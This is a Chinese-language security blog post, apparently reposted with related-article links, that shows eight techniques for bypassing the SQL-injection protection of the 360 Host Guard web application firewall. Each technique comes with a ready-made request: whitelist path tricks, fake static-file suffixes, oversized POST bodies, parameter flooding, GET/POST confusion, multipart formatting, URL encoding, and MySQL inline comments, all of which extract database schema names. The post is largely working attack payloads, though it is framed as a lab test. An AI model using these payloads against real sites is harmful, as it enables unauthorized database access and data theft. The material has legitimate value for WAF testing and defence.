在服务器客户端领域,曾经出现过一款 360 主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影。

从半年前的测试虚拟机里面,翻出了 360 主机卫士 Apache 版的安装包,就当做是一个纪念版吧。

这边主要分享一下几种思路,Bypass 360 主机卫士 SQL 注入防御。

0x01 环境搭建

360 主机卫士官网:

http://zhuji.360.cn

软件版本:360 主机卫士 Apache 纪念版

测试环境:phpStudy

本地构造 SQL 注入点:

    $id=$_REQUEST['id'];

    $query = "SELECT * FROM admin WHERE id = $id ";

0x02 WAF 测试

因 zhuji.360.cn 站点已关闭,拦截界面为空白,抓包先放一张拦截图:

姿势一:网站后台白名单

在 360 主机卫士客户端设置中存在默认网站后台白名单,如图:

利用 PHP 中的 PATH_INFO 问题,随便挑选一个白名单加在后面,可成功 bypass。

/test.php/admin?id=1 union select 1,2,schema_name from information_schema.SCHEMATA

姿势二:静态资源

当文件后缀名为 js、jpg、png 等静态资源后缀请求,类似白名单机制,waf 为了检测效率,直接略过这样一些静态资源文件名后缀的请求。

/test.php/1.png?id=1 union select 1,2,schema_name from information_schema.SCHEMATA

姿势三:缓冲区溢出

当 Post 大包时,WAF 在处理测试向量时超出了其缓冲区长度,超过检测内容长度将会直接 Bypass,如果正常用户上传一些比较大的文件,WAF 每个都检测的话,性能就会被耗光。

基于这些考虑,POST 大包溢出的思路可成功 Bypass。

访问下面的地址:

/test.php

POST数据如下:

id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) union select 1,2,schema_name from information_schema.SCHEMATA

姿势四:uri 参数溢出

这种溢出的形式,我称它为 uri 参数溢出。比如某 WAF,默认情况下只能获取前 100 个参数进行检测,当提交第 101 个参数时,那么,将无法对攻击者提交的第 100 个以后的参数进行有效安全检测,从而绕过安全防御。

经测试,当提交的参数个数超过 97 个,可进行 union select 查询,再增加对关键字 from 的绕过,可成功 Bypass。

访问地址如下:

http://192.168.204.128/test.php

POST书籍如下:

id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1
&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1
&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1
&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1
&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1
&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1
&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1 union select 1,2,schema_name %0a/!from/information_schema.SCHEMATA

姿势五:GET+POST

一个历史久远的逻辑问题了,当同时提交 GET、POST 请求时,进入 POST 逻辑,而忽略了 GET 请求的有害参数输入,可轻易 Bypass。

访问如下 URL:

/test.php?id=1 union select 1,2,schema_name from information_schema.SCHEMATA

POST数据如下:

aaa

姿势六:multipart/form-data 格式

将 Post、Get 数据包转为上传 multipart/form-data 格式数据包,利用协议解析的差异,从而绕过 SQL 防御。

------WebKitFormBoundaryACZoaLJJzUwc4hYM

Content-Disposition: form-data; name="id"

1 union /* !select*/ 1,2,schema_name【这里使用Enter换行】

from information_schema.SCHEMATA

------WebKitFormBoundaryACZoaLJJzUwc4hYM--

如果转换数据包进行绕过呢?

首先,新建一个 html 页面:

<html>

<head></head>

<body>

<form action="http://192.168.204.128/test.php" method="post" enctype="multipart/form-data">

<input type="text" name="id">

<input type="submit">

</form>

</body>

</html>

然后,在浏览器打开并在输入框中输入参数,抓包发送到 Repeater,进一步构造 Payload

姿势七:编码绕过

客户端对 Payload 进行编码,服务端能够自动进行解码,这时候就考验 WAF 的编码解码能力了,如果 WAF 不能进行有效解码还原攻击向量,可能导致绕过,

常见编码如 URL 编码、unicode 编码(IIS)、宽字节编码等。

这个地方虽然 URL 编码也能绕过获取数据,主要是因为 WAF 对 POST 的防御规则太过于松散,union select 随便绕,select from 用 %0a 就可以解决,

主要分享一下编码绕过的思路。

/test.php?id=1

POST数据如下:

id=1 %55nion %53elect/* !1,2,schema_name %0aFROM information_schema.SCHEMATA* /

姿势八:%0a + 内联注释

利用 Mysql 数据库的一些特性,绕过 WAF 的防御规则,最终在数据库中成功执行了 SQL,获取数据。

http://192.168.204.128/test.php

POST数据如下:

id=1 union%0a/* !12345select* / 1,2,schema_name%0a/* !12345from */information_schema.SCHEMATA

0x03 自动化 Bypass

当测试出绕过 WAF SQL 注入防御的技巧后,可通过编写 tamper 脚本实现自动化注入,

姿势八:%0a+内联注释为例,主要是针对 union select from 等关键字替换,Payload 中的部分关键字可能会被 waf 拦截,需要一步步调试,测试,总结规律。

tamper 脚本:

加载 tamper 脚本,可成功获取数据

这边也分享一下,另一个比较简单的自动化注入的方法,就是使用超级 SQL 注入工具,利用这边提供的注入绕过模块,

结合日志中心的测试记录,可以很方便的进行调试,然后保存绕过模板,方便下次调用。

利用前面的关键字符进行替换,自动化注入获取数据库数据:

0x04 END

分享了几种有意思的绕过思路,主要利用了 WAF 层的逻辑问题,数据库层的一些特性,服务器层编码解析、参数获取的差异。其中借鉴和学习了不少前辈们的思路,受益匪浅,学习,沉淀,总结,分享,周而复始。

15. Bypass 360主机卫士SQL注入防御(多姿势)的更多相关文章

  1. Bypass 360主机卫士SQL注入防御(多姿势)

    0x00 前言 在服务器客户端领域,曾经出现过一款360主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影.从半年前的测试虚拟机里面,翻出了360主机卫士Apache版 ...

  2. Bypass 360主机卫士SQL注入防御(附tamper脚本)

    0x01 前言 在测试过程中,经常会遇到一些主机防护软件,对这方面做了一些尝试,可成功bypass了GET和POST的注入防御,分享一下姿势. 0x02 环境搭建 Windows Server 200 ...

  3. 360网站卫士SQL注入绕过案例一个

    不要以为用了360就可以高枕无忧,直接在netcraft的site_report中找到源站服务器IP,直接SQL脱裤,甚至可获取服务器权限. 存在漏洞的网站: 手工测试存在注入点: 但是网站有360保 ...

  4. Bypass ngx_lua_waf SQL注入防御(多姿势)

    0x00 前言 ​ ngx_lua_waf是一款基于ngx_lua的web应用防火墙,使用简单,高性能.轻量级.默认防御规则在wafconf目录中,摘录几条核心的SQL注入防御规则: select.+ ...

  5. 23. Bypass ngx_lua_waf SQL注入防御(多姿势)

    0x00 前言 ngx_lua_waf是一款基于ngx_lua的web应用防火墙,使用简单,高性能.轻量级.默认防御规则在wafconf目录中,摘录几条核心的SQL注入防御规则: select.+(f ...

  6. Bypass D盾_IIS防火墙SQL注入防御(多姿势)

    0X01 前言 D盾_IIS防火墙,目前只支持Win2003服务器,前阵子看见官方博客说D盾新版将近期推出,相信功能会更强大,这边分享一下之前的SQL注入防御的测试情况.D盾_IIS防火墙注入防御策略 ...

  7. 21. Bypass D盾_防火墙(旧版 and 新版)SQL注入防御(多姿势)

    D盾旧版: 00前言 D盾_IIS防火墙,目前只支持Win2003服务器,前阵子看见官方博客说D盾新版将近期推出,相信功能会更强大,这边分享一下之前的SQL注入防御的测试情况.D盾_IIS防火墙注入防 ...

  8. Bypass 护卫神SQL注入防御(多姿势)

    0x00 前言 ​ 护卫神一直专注服务器安全领域, 其中有一款产品,护卫神·入侵防护系统 ,提供了一些网站安全防护的功能,在IIS加固模块中有一个SQL防注入功能. 这边主要分享一下几种思路,Bypa ...

  9. Bypass X-WAF SQL注入防御(多姿势)

    0x00 前言 ​ X-WAF是一款适用中.小企业的云WAF系统,让中.小企业也可以非常方便地拥有自己的免费云WAF. ​ 本文从代码出发,一步步理解WAF的工作原理,多姿势进行WAF Bypass. ...

随机推荐

  1. 《UNIX网络编程》daytimetcpcli测试

    对于刚刚接触网络的人来说,<UNIX网络编程>中第一个例子(daytimetcpcli)可能就测试不通过.也许你试着继续向后读来,自己写一个服务程序来解决这个问题,但是daytime服务也 ...

  2. Delphi 函数的重载和作用域

    1.在delphi 中,我们可以使用相同的函数名来调用不同的函数,我们称这个函数为重载,函数的参数类型和参数的个数可以不同,用到的关键字overload:格式如下: function addInt(x ...

  3. requests获取响应时间(elapsed)与超时(timeout)

    前言 requests发请求时,接口的响应时间,也是我们需要关注的一个点,如果响应时间太长,也是不合理的.如果服务端没及时响应,也不能一直等着,可以设置一个timeout超时的时间 关于request ...

  4. github之克隆

    git clone --depth=10 git_仓库_url 只会获取最近 xx(10条提交记录的)代码,默认是master分支, 如果想要指定分支,可以结合 -b --single--branch ...

  5. (转)JSP九大内置对象

    原文出处:http://www.importnew.com/19128.html 虽然现在基本上使用SpringMVC+AJAX进行开发了Java Web了,但是还是很有必要了解一下JSP的九大内置对 ...

  6. 重拾安卓_01_安卓开发环境搭建(android studio)

    一.下载安装SDK 参考:搭建Android开发环境——Eclipse  的安装SDK部分 二.安装android studio 参考: Android Studio 入门级教程(一) 三.andro ...

  7. hbase_异常_02_hbase无法访问16010端口

    一.异常现象 上一个异常解决了之后,已经能正常启动hbase了,也能正常使用hbase shell  ,但是无法通过浏览器访问 16010端口. 二.异常原因 1.原因一 hbase 1.0 以后的版 ...

  8. (转)#ifndef的用法

    原文链接:http://wenku.baidu.com/link?url=c4doqVo3U429RkwTN5eaJIfD2rEu-1bLKKQXuqO8drmL359PhUjVmzC7P94wBY9 ...

  9. 股神小L

    题解 贪心 若当前手中还持有股,则一定会卖出去. 否则,考虑之前卖出的最便宜的股,若售价比当前的股高,就买下这个股,否则我们就把之前卖出的最便宜的股改为买入,这样一定会有股,然后再把这个股卖出即可. ...

  10. Excel文本获取拼音

    [说明] 版本:Excel 2010 文件后缀:.xls 有在.xlsb文件下使用未成功.建议使用.xls后缀. 1.调出“开发工具” 步骤:文件-->选项-->自定义功能区-->勾 ...